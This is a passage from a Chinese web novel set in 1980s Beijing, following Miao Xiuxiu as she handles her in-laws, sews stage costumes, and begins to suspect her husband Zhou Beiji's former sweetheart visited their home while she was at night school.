看了快一个小时,等到中国代表团出场的时候,三大纪律八项注意的音乐响起,全家人都很激动,周中中甚至站起来和两个小侄女一起跳着欢呼。
苗秀秀也看得很认真,虽然她后来看过很多次奥运会开幕式现场直播,但是这一次不一样,不仅有很多熟悉的身影,还有一代人的回忆。那个时候的人是真爱国,国家发生大事的时候都是举国欢腾。
“你喜欢看什么项目?”周北冀忽然问苗秀秀。
苗秀秀一怔,直觉告诉她,他这个问题问得并不单纯,但是她也没有多想,说:“乒乓球羽毛球、体操、游泳、跳水、女排,我国的优势项目我都喜欢看。”
“我国有这么多优势项目?我都不知道。”周明康听到儿子儿媳的对话,觉得很新奇。
苗秀秀点点头,“对啊,爸爸,我国的优势项目有好多,还有射击举重柔道也都可以,但是大球项目除了女排就没有特别厉害的了,足球尤其差。”
苗秀秀的话让在场的所有人刮目相看,卢江宇笑道:“秀秀懂得真多。”苗秀秀讪讪一笑,“我在夜校上课的时候,无意中听到别的同学和老师讨论奥运会的事,现学现卖。”
怪不得,周明康从妻子那里听说了儿子给苗秀秀报名读夜校的事,没想到苗秀秀不仅认真去听课学习了,还长了不少见识,这让周明康很是欣慰。
以前看儿子娶了苗秀秀以后那种别扭劲儿,他心里也很不好受,现在看来这儿子没白教育,终于长大懂事了,知道要和媳妇好好相处。
“乒乓球羽毛球好像不是奥运会项目吧,没听说代表团有江嘉良李玲蔚。”周北冀小声对苗秀秀说。
“江嘉良是谁啊?我知道蔡振华。”苗秀秀对这些古早大神战绩并不了解。周北冀还没说话,周中中先笑了一声,“江嘉良都不知道,你说你喜欢看乒乓球?”
看到苗秀秀嘟着嘴,周北冀告诉她,江嘉良是国内男乒头号选手,刚拿了一个世界冠军。苗秀秀默不作声,心里想,我不过生的晚,所以不知道这些,大魔王时代还没有到来,到时候你们就知道了。
开幕式结束后,苗秀秀和小张去厨房忙活饭,看到冰箱里有一盒鸡爪,苗秀秀想起来之前周北冀的话,拿出来解冻,准备做一盘卤鸡爪给他吃。
“酱油好像快没了,卤鸡爪没酱油可不行。”苗秀秀和小张说了一句,拿着酱油瓶走到客厅,叫了周北冀一声,让他去打酱油。
周北冀接过酱油瓶,应了一声。
“要黑酱油,别打错了,做菜上色用的。”苗秀秀叮嘱一句。
“你让我三哥去打酱油?”周中中头一个跳出来反对。沈芬玉也有点不高兴,这个苗秀秀也是,怎么能指派她儿子去打酱油。
“不然你去?”苗秀秀反问她。
“你自己去啊,干嘛让我哥去?”周中中气道。
“我和小张要炒菜做饭,没时间去。”苗秀秀毫不示弱。我安排我丈夫做事情,需要你指手画脚,别说你只是她妹妹,就算是他妈,也没有儿子结婚了还管家务事的道理。
周中中正待开口,周北冀已经在两个女人爆发战争之前,抢先一步拿着酱油瓶子出门去了。
周中中恨铁不成钢,求助地看向沈芬玉,希望妈妈能帮着数落苗秀
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秀两句。
周明康先开了口,“都是一家人,让你哥打个酱油算什么,怎么他一个军人连帮家里打个酱油都不行?”
“这就不是打酱油的事,是她指挥我哥。”周中中看不惯苗秀秀竟然敢指挥她哥做事。她一个没工作的家庭妇女,凭什么指挥她哥一个少校军官?
“我不能指挥他吗,我是他老婆,是你嫂子。”苗秀秀一句话就把周中中的不满堵了回去。
两个嫂子在一旁看笑话,坐山观虎斗其乐无穷。周中中被堵得哑口无言,被周湘南拉到一旁坐着。
“你就少说两句吧,小北自己都愿意,你替他不乐意什么。”周湘南早看出来了,苗秀秀现在是一朝得势飞上天,除非哪天周北冀不想让她飞了,不然她就会一直在天上飘着。
看不惯?看不惯也得忍,她男人就愿意惯着她,你一个外人能怎么着?
“你不觉得她越来越嚣张了?当着全家的面就指挥我哥干这干那的,搞得我哥像她下级似的。”周中中压低了声音和姐姐嘀咕。
“夫妻俩本来就是愿打愿挨,只要小北乐意,你管那么多。”周湘南劝小妹别多事,不然到时候就不只是得罪苗秀秀,搞不好连她三哥也一起得罪了。
周中中叹了口气,“三哥最近真是变了好多。”
兄妹俩年纪相仿,从小一起长大,上幼儿园、上小学都是三哥牵着她的小手带她去,哪怕是三哥结了婚也没影响两人深厚的感情,可最近这段时间,她明显能感觉到三哥对她的感情变淡了,淡到她说的话还赶不上苗秀秀一个外人有用。
“所以啊,对你三嫂别太刻薄了,哪怕看你三哥的面子。”周湘南拍了拍小妹的手。
周北冀打酱油回来,送到厨房里,苗秀秀拿起一只卤好的鸡爪给他吃,让他尝尝味道。
“酱油不是还有么,干嘛让我去打?”周北冀津津有味啃着鸡爪,看了一眼锅里,二十几个鸡爪足够全家人吃,今天他一定要多吃几个。
“有,但是不多了,又不是只做一个菜,你不去打,下面的菜没法做。”苗秀秀才不会说,自己就是有意安排他去打酱油、有意让周家人见识见识,什么叫服从命令听指挥。
“你个狡猾的小狐狸。”周北冀一眼识破她的伎俩,笑着离开厨房。
不得不说,这男人挺聪明的,苗秀秀微微挑起嘴角。
小张在一旁佩服到不行,等周北冀走了,悄悄对苗秀秀说:“秀秀嫂子,你太厉害了,以前三哥我都不敢跟他说话的,还有中中姐,她说什么我从来不敢反驳。”小张年纪小,在周家当保姆三年也不过才二十岁,习惯跟着周中中一样称呼周家的几个子女为大哥二哥三哥大姐。
“那怎么办,一个是我对象一个是小姑子,我总不能不和他们说话。”苗秀秀笑呵呵地说,心念一转,准备也给小张灌输点思想,于是又说:“人人生而平等,各有分工不同,周总理还能和掏粪工人时传祥握手呢,我们农村出来的也不低人一等。再说周家,我公公他爸现在还在陕西老家种地,我公公要不是当年出来参加革命,没准现在也在老家种地。”
“说得有道理。”小张觉得苗秀秀说出来的话很有说服力。往上数三代,谁家不是农民,凭什么城里人就瞧不起农民,没有农民种菜种粮食饲养禽畜,城里人都得饿死。
沈芬玉去洗手间无意中路过厨房门口,听到苗秀秀的话,心里一阵唏嘘,这丫头现在真是一套一套的。
32. 第三十一章
儿女们都走了以后,沈芬玉和老伴儿周明康聊起小儿媳的事。
沈芬玉有点不满地说:“小北最近宠他媳妇宠得有点过分,秀秀上回叫他去买菜,这回又当着全家人的面叫他去打酱油,这是一个男人应该干的事么?”
“那不就是她忙不过来让小北搭把手么,夫妻俩有什么好计较的。”周明康戴着老花镜翻看着手里的报纸。他是受党教育多年的干部,并没有某些人那种严重的大男子主义心理,觉得家务活就该女人干,男人干了就是跌份儿。
沈芬玉不乐意了,她辛辛苦苦养大的宝贝儿子,怎么能被一个丫头片子呼来喝去,她都舍不得让儿子干活,凭什么那个丫头片子就舍得,难道小北不是她丈夫,既然是她丈夫,她就应该顺从听话,而不是指挥丈夫做这做那。
沈芬玉自己在老伴儿这里被疼爱了几十年,但是她看不得儿子也那么没原则的对待他媳妇,有一刻她甚至心理阴暗的想,还不如以前那样呢,至少她不用担心儿子会被人抢走。
然而就那么一瞬,沈芬玉教授就斩断了这个念头,并为此内疚,自己好歹是知识分子,怎么能和那些没文化的婆婆一样不盼着儿子儿媳好呢,虽然小北是她心头肉,可现在也成家了,儿媳妇把他抢走是迟早的事。
沈芬玉和老伴儿说起在厨房门口听到苗秀秀和小张谈话的事,周明康总算抬起头,透过老花镜看了夫人一眼,笑问:“秀秀真这么说?”
“我亲耳听到的,还能有假。”沈芬玉心想,我还能诓你不成。
周明康摘掉眼镜,“丫头不错,说话有理有据,他爷爷的确是在老家种地的农民,农民怎么了,并不低人一等,我党当年的政策是农村包围城市,革命取得胜利,少不了广大农民的帮助。”
“得了,你打什么官腔,我的意思你还不明白?秀秀这丫头现在仗着小北疼她,什么话都敢说,将来没准都不把咱俩放眼里了。”沈芬玉不无忧虑,苗秀秀进步的步子跨得有点大,让她一时间招架不住。
“小北不应该疼她吗,都娶回家了。难道你还希望他们像老三俩口子那样,貌合神离不对付。”
周湘南和卢江宇的关系一直是周家老俩口的心病,每次提到这个话题,都令人烦恼。沈芬玉想想都头疼,结束话题到阳台上浇花去了。
老俩口这边谈心,小俩口那边也没闲着。
周北冀一回家就对苗秀秀说:“你今天狐狸尾巴又没藏好。”苗秀秀心里一咯噔,猜测这家伙是不是发现了什么,问他什么意思。
周北冀看到她紧张的样子,狡黠地笑:“你怎么变成这样的我不关心,但是有些话只有我们两个人的时候你可以说,在别人面前最好悠着点。”
这不是暗示,而是直接明示了,苗秀秀惊愕地嘴巴都要合不上,望着他深邃漆黑的双眸,喉头像是被什么东西哽住了,半天发不出声音,“其实我……反正我就是苗秀秀,不管你信不信。”
“你说是就是,我希望你保持现在这个样子,不要再变回去,所以一定要藏好尾巴。”周北冀握住苗秀秀的双肩,把她拥进怀里,不想吓坏她。
看来他早就有所怀疑了,一直不说而已,这个腹黑的男人,苗秀秀不知道该如何面对这个情况,他把她说得好像聊斋里幻化成人形的狐狸精。
“你就不怕?万一我——”苗秀秀顿了顿,心里补充下一句,不是万一,我就是个借尸还魂的女鬼。
“我一个在战场上杀过人的军人,会害怕你一个丫头片子?”
“那我能不能提一个要求?”苗秀秀仰着脸问他。
“什么?”周北冀不解地看着她。
“能不能给我点钱,我想在后海买几套四合院。”苗秀秀眨巴着闪闪发亮的眼睛。
“一套都很贵,还几套,我哪有那么多钱?”周北冀想,这女人莫不是疯了,一套四合院大点的两三万,小的也要万把块,他十年工资也够不上买一套。
“那我们多多赚钱买四合院,将来你会感谢我的。”苗秀秀抱住丈夫,脸贴在他心口撒娇,心还在因为他刚才的话突突跳。他发现了她的异常,但是他选择了接受,幸好他这样选择,不然她真怕他“大义灭亲”,把她送到研究所。
“赚钱的事就交给你了,你不是一心想开店吗,去开吧,我精神上支持你。”周北冀慷慨地说。
“那家里人问起来的时候,你要挡在前面帮我。”苗秀秀可以想见,周家人要是知道了她当个体户的事会有一场什么样的血雨腥风。
周北冀嗯了一声,轻抚着苗秀秀的头发。
“弹吉他给我听,我还从来没听过你弹吉他。”
“弹什么?”
“保罗·西蒙的《Thesoundofsilence》或者麦卡特尼的《HeyJudy》,我喜欢听这种安静的曲子。”
书房里,周北冀抱着吉他弹苗秀秀喜欢的曲子,苗秀秀坐在他腿边,双手捧着脸认真聆听。
午后的阳光照进来,时光静静流淌,一切恬静而美好,忽然觉得这个充满理想主义的年代比后世更加纯粹真实。诗与远方是触手可及的,人的要求也简单,车马很慢书信很远、一生只够爱一人。
几天后,舒华来找苗秀秀试穿演出服,紫红色金丝绒连衣裙一穿上身,气场立刻不一样了。舒华看着镜子里的自己,雍容华贵又不失高雅,很满意。
“我在杂志上看到很多国外好看的晚礼服款式,可惜国内保守,接受不了一字肩和抹胸款。”苗秀秀始终有点遗憾,这个年代的舆论环境,不能把她的设计特长充分发挥。
“是啊,我们团去国外演出的时候也观摩过外国的舞台表演,人家的演出服比我们好看多了,但毕竟是国内,当着那么多领导的面,我也不敢穿得太出格。”
看到苗秀秀的头发,舒华说:“你的发型真好看,能不能教教我是怎么梳的?”苗秀秀说:“我帮你设计一个发型,更搭配你的衣服。”
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舒华在镜子前坐下,苗秀秀拿来梳子和发夹,精心替她梳理长发。
装作不经意,苗秀秀说起那天在周家指挥周北冀打酱油的事,“我在厨房实在忙不过,让他帮我打个酱油,他家人就这个不高兴,那个不待见,尤其是他妹妹,恨不得吃了我。”
舒华说:“我听耀然说,小周和他妹妹从小一起长大,兄妹俩关系一直很亲,现在你取代了她在小周心里的地位,他妹妹难免心理不平衡吃你的醋。”
“就算有我,她照样还是她哥的妹妹啊,我又不会不让她哥把她当妹妹,不知道她吃哪门子的飞醋。”
苗秀秀总觉得周中中对她哥周北冀有种奇怪的占有欲,说不清道不明的,她对自己那种敌意,都不像是小姑子对嫂子,反倒像是对情敌。
“被家里惯坏的小女孩都那样啦,思想不成熟,仗着自己家庭出身好、又是大学生就狂上天,大院儿里这样的女孩还少?程晋衡那个对象傅蕾,在苏联留学回来的,不知道你见过没有,那脾气跟你小姑子不相上下。”舒华早就见怪不怪了。别说他们团里,就是叶家她那几个准小姑子,个个也都心高气傲、目无下尘。
“说的也是,天之娇女嘛,喜欢什么事都围着她转,最好大家都听她的。”苗秀秀灵巧地用手指挑起舒华一缕头发,用发夹固定住,又分出其他头发,绕了几圈,让发顶看起来更蓬松。
“你不用管她,你只要搞定你家周北冀,让他听你的就比什么都强。小姑子又不会跟你过一辈子。”舒华很有自信地说,“我对我家叶老三就是这样,他们叶家的事我从来不管,但是叶老三必须无条件听我的。”
苗秀秀一阵笑,“难怪叶三哥那么勤快,到我家来吃饭还主动刷碗,原来都是你教得好,我家那口子这点就比不上叶三哥,眼里没活儿,不叫他干,他自己永远想不起来主动干。”
“那小周这方面真不如我家叶老三自觉,叶老三都不用我怎么说,他自己主动就会帮我把活儿干了。”舒华说起男朋友,一百个满意。
两个女人笑一阵,发型做好了,舒华拿着镜子左照右照,摆了个美美的姿势,对苗秀秀说,以后演出服都找她做,团里每年都会有置装费,她会和管服装的杨干事说,让他联系苗秀秀。
苗秀秀拿出几张设计草图,让舒华交给杨干事,要是有看中的,她可以做出来,只收他们成本价。
舒华看着草图上那些造型各异的演出服,很是惊讶,“小苗,这都你画的?你太有才了吧,这样的艺术天分不该被埋没,你应该当个时装设计师。”
苗秀秀忙谦虚,“你过奖了,我从小就喜欢画画,从来没正儿八经学过,画得不好,离时装设计师还差得远。”
“你太谦虚了,这还叫画得不好?我认识一个不错的舞台服装师,改天我介绍你和她认识,让她多教教你,你是个天才。”舒华越看苗秀秀的设计图,越觉得自己眼光一定不会错,苗秀秀很有当设计师的潜力。
33. 第三十二章
把舒华送出门,下楼的时候正好看到周北冀和一个穿着军装的男人一前一后从吉普车里下来,苗秀秀迎上去,问他怎么开车回来了。
“你不是说要买洗衣机,给你买回来了。”周北冀打开后备箱,和军装男人一起把装着洗衣机的箱子搬下车。
“这么快!”苗秀秀惊喜不已。不愧是军人,这执行力,杠杠的。
“店里正好进了一批新货,我就找哥们儿借了车拉回来。”周北冀把军装男人介绍给苗秀秀,说是他一个本家远亲,叫周天祁,曾经和他是一起上过南疆战场的战友。
舒华也认识周天祁,还很熟,笑着问他:“你上个月结婚怎么没请我们呀?”周天祁笑笑,“婚礼在我广州老家办的,太远了,就没请大家,等过完国庆,我们再在雁京补办一场。”
“你媳妇也是广州的?”舒华没怎么见过周天祁对象,只听说是个军医。周天祁说:“她家以前不住广州,后来她哥调去广州工作,他们全家才迁过去。”
周天祁长得很好看,但是看起来比较严肃,站姿也很板正,苗秀秀猜测他应该军衔不低,和他相比,周北冀的自由随意就显得有点吊儿郎当。
知道他们有事要忙,舒华和苗秀秀说了一声,告辞而去。苗秀秀跟在两个男人身后,看着他俩搬洗衣机上楼,家里地方太窄,只能把洗手间里的杂物清理到阳台上,才能腾出地方放洗衣机。
李嫂一手牵着上小学二年级的女儿,一手牵着上幼儿园大班的小儿子,从小学校方向过来,看到周北冀和苗秀秀两口子往楼上搬一个大纸箱子,猜测他们家这又是买什么大家电了?
三步并作两步,喜欢凑热闹的她拉着儿女的手凑上前,问苗秀秀:“买什么了?”“洗衣机。”苗秀秀顾不上和李嫂多说话,冲到前头去替两个男人开家门。
李嫂羡慕得不行,回去和孩子他爹大李提起这件事。
大李没好气瞪她一眼,“人家小两口没孩子,工资两个人花,咱俩三孩子,工资五个人花,能一样么?洗衣机那么贵,买了以后家里吃什么?”
“那我也想买,我每天洗你们爷四个的一大堆衣服,还要做饭,都快累死了。”李嫂自从受了苗秀秀的劳动妇女觉醒教育,时不时搞点小反抗自救,也不打算一下子就达到目的,潜移默化、滴水穿石也是种力量。
“女人本来就该做家务,不洗衣服不做饭,是想上天?”大李对老婆最近的变化很是不理解。以前她任劳任怨,最近经常发牢骚。
“那你帮我带孩子,孩子又不是我一个人的,你是他们的爹,以后你管接送。”李嫂把小儿子往丈夫怀里一塞,扬长而去。
大李气得瞪眼,但无济于事,老婆瞅也不瞅他就进了厨房。低头见怀里的小儿子一双圆溜溜的眼睛看着自己,又有点欢喜,这小子越长越像自己了,身体也结实,才四岁多就像个小牛犊子一样壮实,将来也是个当兵的料。
从冰箱里拿了两根冰棍儿,苗秀秀给两个干活的男人一人一根,又去厨房绞湿了两条毛巾,给客人用周北冀的毛巾擦汗,自己的毛巾则给周北冀用。
把周北冀拉到一旁,苗秀秀悄悄问他:“你留不留人家吃饭?”
“当然要留,人家不仅借车给我,还大老远从石景山过来帮我们搬洗衣机,不留吃饭说不过去。家里有现成的菜吗,没有的话,我去食堂买两个热菜。”周北冀热得浑身是汗,啃着冰棍儿,站到电风扇前面吹风。
苗秀秀拿着自己的毛巾替他擦汗,说:“有现成的,我买了二斤青虾,还有嫩豆腐,晚上烧一个麻辣豆腐,一个油焖大虾,再烧一个木须肉,拍个凉拌黄瓜,三个热菜一个凉菜,够不够?”
“行,你看着做吧。”
“那你把洗手间收拾一下,东西都先搬到阳台上,阳台我以后再慢慢整理。”苗秀秀去做晚饭,安排周北冀收拾洗手间。
等周北冀忙活完了,苗秀秀也把可口的饭菜端上桌,怕他们吃饭觉得热,特意把客厅的吊扇开到最大档。
“弟妹别忙了,菜太多吃不完。”
看到苗秀秀还在厨房忙碌,周天祁客气地请她出来上桌。苗秀秀端着一叠烙好的葱油饼放到桌上,这才脱掉围裙,洗手过来吃饭。
“你家装菜的盘子和碗也是成套的啊,花色真好看,我媳妇就喜欢这样成套的碗碟,结婚的时候买了两套。”周天祁发现这个细节有点惊讶。他吃饭不讲究,有盘子有碗就行,他是和媳妇结婚以后才知道,讲究的人家连吃饭的碗碟、喝酒的酒杯全都是成套的。
“是秀秀买的,她喜欢弄这些。”周北冀笑着说。
“弟妹眼光真好,这瓷器上的印花多雅致啊,素素淡淡的。”周天祁夸奖苗秀秀。
苗秀秀自己还没什么,周北冀听着心里挺高兴。
男人吃饭总要喝点酒,苗秀秀惦记新买的洗衣机,几口就把饭吃完了,让他俩继续吃,她自己跑到洗手间去研究洗衣机。
和后世常见的滚筒式洗衣机不同,这个时候的洗衣机多数都是波轮式的,操作很简单,苗秀秀一看就会用了。
不放心又跑到阳台上去看,之间堆放在洗手间的杂物整整齐齐码放在阳台角落里。苗秀秀对此很满意,周北冀到底是军人,整理内务很在行,他不仅衣服洗得干净,被子叠得像豆腐块一样整齐,码放杂物也井然有条,绝不乱堆乱放。
为了奖励一下周北冀,苗秀秀又扎进厨房,炸了一盘花生米,周北冀平常喜欢吃花生米,但是她嫌油大、吃多了还会放屁,很少让他吃,看在他表现不错的份上,就破例让他吃一回。
把花生米放在桌上,苗秀秀对周北冀说:“我到点去上课了,你陪着周大哥多吃菜,少喝点酒。”
周北冀嗯了一
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声,说晚上去接她下课。苗秀秀拿上书包,离开家去夜校上课。她说的话,周北冀都放在心里,这让她非常高兴,看周围的一切都觉得特别顺眼。
夏文竹远远看到她骑车出去,若有所思。
和周天祁喝到八点多,周北冀送他下楼,刚回到家里还没来得及关上门,就听到身后有人叫他。
“秀秀嫂子在家吗?”夏文竹穿一条清爽的天蓝色连衣裙,俏生生站在门口。
“她不在,你有事吗?”周北冀喝了不少酒,正想去床上躺一会醒醒酒。
“我想找秀秀嫂子做件衬衫,她不在就算了吧,我改天再来。”夏文竹转身就要走,但看到周北冀脸红红的,关切地问:“你怎么了?身体不舒服吗,脸这么红?”
“没事,我和朋友喝了点酒。”周北冀见她望着自己,心头一热,“既然来了,要不你进来坐坐吧。”
夏文竹对他的主动邀请自然是不会拒绝的,自从他结婚,这还是第一次到他的新家来。他结婚的时候请过她,但是她怕触景伤情,没有参加婚礼,只让周中中替她送了两床杭州产的真丝软缎绣花被面当结婚礼物。
当时物价虽然不贵,但是人均工资不高,物资也比较匮乏,结婚送礼送的最多的就是暖水瓶、脸盆这些价格实惠的生活用品,真丝缎被面属于高档货。
请夏文竹到沙发上坐着,周北冀起身要去给她倒水,夏文竹忙阻止,说不用客气,她不想喝水。周北冀于是把厨房里的半边西瓜切好了端过来,客人上门,不招待一下说不过去。
夏文竹顾着斯文,没有吃西瓜,周北冀自己拿了一块吃。
看着他的吃相,夏文竹心里情意翻涌,说:“你结婚这么长时间,一直没机会当面恭喜你,之前听中中说你和秀秀嫂子处得不怎么好,我还挺担心的,现在看起来,你们比那时候好多了。”
周北冀听出点意思,低头吃瓜没言语,等一块瓜吃完了,才说:“你别听中中瞎说,我和她嫂子没什么。”
“秀秀嫂子长得漂亮,手也巧,她做的衣服没人不夸。我也是看到我们团其他人穿她做的衣服觉得好看,才想来找她帮我也做一件。”夏文竹夸苗秀秀。
周北冀看了一眼她手里的布料,是很挑肤色的水绿色真丝,要皮肤很白的人穿着才好看,夏文竹皮肤就很白,选的这个颜色很衬她肤色。
收回眼神,周北冀告诉夏文竹:“她晚上要去夜校上课,一般都不在家,你可以白天来找她量尺寸。”
“嫂子挺上进的,白天帮人家裁衣服,晚上还要去上课,我就没有她的毅力,白天在团里练一天功,晚上回家只想躺着。”夏文竹笑眼弯弯,看着周北冀的眼神柔情似水。
作为一个已婚男人,周北冀接收到这个温柔的信号后,自然而然就能察觉出意思,但他还是没表态,笑笑,“多念点书总归有好处。”
34. 第三十三章
“是啊,我记得你在部队的时候写信给我,说你每天最轻松的时候就是傍晚政治学习过后到熄灯前的自由活动时间,别人洗衣服打篮球,只有你喜欢看书和外出散步。”夏文竹顺着周北冀的话,回忆他俩共同的过往。
“部队的生活挺枯燥的,和这里没法比。”周北冀忽然有点后悔叫夏文竹到家里来坐坐,才隔了不到一年,他就感觉自己已经和她无话可说,而在以前,他和她明明很谈得来。
“虽然枯燥,但也有很多乐趣啊,写信、等信,拆信读信的时候都是一种幸福。”夏文竹眼睛亮亮的,有点不好意思地说:“那时候我每天去传达室等你的信,传达室的大爷和邮递员都认识我了。他们都问我,等谁的信等得这么心急,我说是一个战友,他们都不信,说肯定是男朋友的信。”
呵呵,周北冀干笑两声,尴尬地不知道该说什么是好。虽然喝了酒,脑子却也没糊涂到接她这样的话茬儿,他都结婚了她还这么说,摆明了是给他挖坑下套。
夏文竹见周北冀不说话,手攥在一起扯着衣角,道歉:“对不起,我忘记你已经结婚了,不该说这样的话,给秀秀嫂子听到她又要误会我了,上回在食堂聚餐,就已经惹她不高兴。”
上回?周北冀晃了晃脑袋,酒精还是起了作用,他怎么也想不起上回在食堂发生了什么事,他甚至不记得夏文竹或者苗秀秀跟他说了什么话,更别提苗秀秀还有可能误会夏文竹的事。
夏文竹见此情形,主动往周北冀身边坐了坐,秋水般的双眸里闪烁着晶莹的湿润,表情里尽是委屈,“以前的事你都忘了吗?”
“都过去了,我已经结婚了,谁都回不到从前。”周北冀觉得自己要是不说这句话,这姑娘不会放过自己。
他承认自己对她缺少一个交代,曾经有段时间,他是有考虑过想和她交往一下试试,但他还没来得及开口,家里已经替他安排好婚事。
“那你爱她吗?你和她有共同语言吗?恩格斯说,没有爱情的婚姻是不道德的,你不能因为一桩包办婚姻就埋葬自己追求幸福的权利。”夏文竹有些激动,既然已经谈到这个份上,索性豁出去了,把话说清楚。
“虽然我和秀秀的婚事是家里安排的,但我俩相处得还可以,彼此都在尝试着了解对方,婚姻没有你说得那么神圣,再深的爱情一旦进入婚姻都会变成柴米油盐的日子。”
周北冀回避了爱与不爱这个话题,这话题之前他和苗秀秀也讨论过,以他俩现在的进展,顶多是在慢慢培养感情,别人都是先恋爱后结婚,他俩却是先结婚后恋爱。
虽然他对苗秀秀各方面都很满意,但还没发展到有多么深爱着她,他相信,苗秀秀对他也一样,都在适应,彼此磨合。
“你说这话,一点都不像你了,周北冀你不该是这样的。”夏文竹激动地站起来,周北冀对婚姻的看法令她有些失望,他怎么能这么消沉,不知道抗争。
“那我应该是哪样的?”周北冀瞅她一眼,眼睛里多了一层笑意。
“意气奋发、充满理想的新时代青年,反正不是现在这样,什么好的坏的全都接受,没有一点反抗精神。”夏文竹泪盈于眶,心痛无比,她心心念念的人怎么就变成这样了呢,可见不顺心的婚姻对他的影响有多深。
“我并没有放弃我的理想,我也不是好坏都能接受,有时候适当地和生活妥协,更能发现生活的美好,岁月静好现世安稳,不是随便说说就能做到,得用自己的心去感受这个世界,而不是一味的理想主义。”
周北冀站了起来,目光中有了送客的意思。夏文竹垂着头,知道自己不好再多说什么,抽泣了一声,“你的话给了我很多启发,我回去会好好思考你的话。”
周北冀送夏文竹到门口,本来家里来客送一下也没什么,偏偏遇上隔壁的方护士下晚班回来。
方护士一看到夏文竹红红的眼睛和依依不舍的神情,心中的八卦火焰熊熊燃烧,她冷冷地、不经意地又去看了周北冀一眼,嗅觉灵敏的鼻子闻到他身上散发出来的酒气。
虽然她平常和丈夫以外的男人不亲近,到底也是个结婚好几年的女人,这两人之前的传闻又是大院里满天飞,因此她一看就明白发生了什么。
“你不用送我了,我自己走就行。”夏文竹看到方护士,羞怯地别过脸,没等周北冀说话,夺路而走。
周北冀原本就没打算送她下楼,只是出去礼貌送她到门口,她这么一说,他也无法反驳,只能说一句,路上小心。
关上家门,抬手一看手表,糟糕,已经八点五十了,说好了要去接媳妇下课,差点错过时间,拿了车钥匙匆匆下楼。
等周北冀飞快地骑车赶到夜校,苗秀秀已经推着车在学校大门口等他。周北冀熟练地把车在她身边停下,赔笑,“不好意思,喝酒忘了时间。”
“不是让你少喝点。”苗秀秀凑近了闻闻他身上的味道,满脸嫌弃,“一身味儿,回去趁早洗澡,不洗别上床。”
周北冀笑着调转车头,和她并肩骑行。
隔壁王家,方护士一进屋就春风得意的神情让王老师非常意外,他老婆下晚班回来经常都是吊着一张脸,冷不丁忽然满脸喜色让他很是不适应。
“你怎么了?发奖金了?这个月奖金特别多?”在王老师的认知里,每个月只有当他上交工资、奖金的时候,才偶尔能看到他老婆
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的笑脸。
“比发奖金可好玩多了。”方护士想到刚才夏文竹从隔壁出来就忍不住幸灾乐祸,“我就说嘛,天下乌鸦一般黑,男人都一个德性,就没有不偷腥的猫。”
“谁家男人偷腥又被你发现了?”王老师瞅了老婆一眼。这个在医院泌尿科工作的老婆常年和男病人的祖传器官接触,养成了一些恶趣味,经常跟他说,谁谁一看就不是好东西,那玩意都那样了,还不消停,他一直觉得老婆在发现奸情这方面脑子里有个雷达。
“还有谁,隔壁的周公子。”方护士看到丈夫已经贴心地替她准备好宵夜,一屁股坐在椅子上,筷子夹起一块猪头肉送到嘴里,吃得特别香。
“小周?怎么可能,小周不是那种人。”王老师自从那回周北冀借钱给他住旅馆,又劝他那些话,就对他印象特别好。而且他也知道,隔壁小俩口感情好得很,热恋期一样蜜里调油。
“怎么不可能,知人知面不知心,我刚刚亲眼所见,夏文竹从他家出来,两人那个依依不舍浓情蜜意的样子,别是刚做完那事吧。”方护士想起夏文竹红肿的眼睛和周北冀身上的酒气就浮想联翩,这周北冀可够不给老婆面子的,居然在自己家里搞女人,这样苗秀秀也能忍得了?
“你别胡说八道败坏人家名声,哪有把外面的女人带到家里来的。”王老师还是不相信,周北冀又不傻,怎么可能明着带人回家。
“苗秀秀又不在家,她不是每晚都要去上夜校嘛,正好给那两人腾地儿啊。”方护士越说越兴奋,倒了杯白酒就着猪头肉喝,“以前他俩什么样你又不是不知道,小周根本瞧不上苗秀秀,一两星期才回一次家不说,见了苗秀秀也都冷着一张脸。”
“不会吧,不可能啊,下午还看到小周买洗衣机送回家,小俩口有说有笑的。”老实厚道的知识分子王老师推了推眼镜,觉得就算是夏文竹真去了隔壁,也不会是他老婆说的这种情况。
“说你是死脑筋吧,你怎么就想不明白,周家什么背景,苗秀秀什么背景,公子哥玩女人还会嫌多,去年不是还开公判大会以流氓罪毙了四五个。”方护士以前就看苗秀秀不大顺眼,觉得她小家子气,最近两三个月苗秀秀气场变了以后,她更看不顺眼了,觉得她就是个骚浪贱的狐狸精。
王老师看不惯老婆这种唯恐天下不乱的样子,“越说越离谱了,小周绝不会是那种人。就算以前和夏文竹谈过,也不是什么罪过,如今都结婚了,他不可能再和夏文竹有什么。”
“那他就该和夏文竹划清界限,老死不相往来,而不是把人叫到家里。看着吧,苗秀秀回来肯定有热闹瞧。”方护士拿定了主意,晚上一定要守在窗户根听壁脚。
35. 第三十四章
苗秀秀回到家里,打发周北冀去洗澡换衣服,自己则在卧室里收拾,看到茶几上切好的西瓜和丢在一旁的西瓜皮,眉头一皱,到底是喝多了,吃过的东西也不知道收拾一下,西瓜皮就这么放在茶几上。
过去清理掉西瓜皮,苗秀秀把茶几擦得干干净净。爱干净的她不能忍受茶几上这样乱糟糟的,擦了好几遍,确保茶几上一尘不染才好。
无意中,她似乎闻到了沙发上有一种似有若无的香味,而且是很熟悉的、淡淡的茉莉香,似乎是某个牌子的雪花膏,又似乎是某种香水,总之这个味道不可能属于她和周北冀,她没有这个味道的雪花膏和香水。
家里来过女人?苗秀秀敏感地继续寻找蛛丝马迹,却又没有近一步发现。这让她颇有些疑惑,怎么一路上周北冀都没告诉她,她不在家的时候有女客来访?
看到周北冀裸着上身只穿着短裤从浴室出来,苗秀秀下意识向他走过去,他身上的每一块肌肉、每一根骨头她都无比熟悉,谁留下一点痕迹她都能发现,然而,她检查了半天一无所获。
“你干嘛呢,看来看去的。”周北冀拿毛巾擦头发,苗秀秀把他翻过来掉过去看,让他莫名其妙。
“给你两分钟老实交代,家里是不是来过女人?”苗秀秀抬头看着周北冀,盯着他的眼睛。周北冀心里一咯噔,对媳妇的明察秋毫很是佩服,但是他不愿多事,笑着说:“哪有什么女人来过,大晚上的。”
“我党的政策是什么,你作为受党教育多年的人应该了解,你不主动坦白,要是被组织上发现什么,给你揪出来,可就不好看了。”苗秀秀推开他,拿上换洗衣服去浴室洗澡。
周北冀跟到门口,看着她脱掉睡衣站在花洒下面,期期艾艾地说:“你别疑神疑鬼的,我问心无愧,也没什么可交代的。”
苗秀秀回头瞄了他一眼,妩媚娇嗔:“心虚了吧?我再给你点时间考虑,等我洗好了,你再不坦白从宽,我可就抗拒从严了。”
把他推出去,苗秀秀关上浴室的门,她几乎可以断定,来她家的人是夏文竹,不然周北冀不会隐瞒。
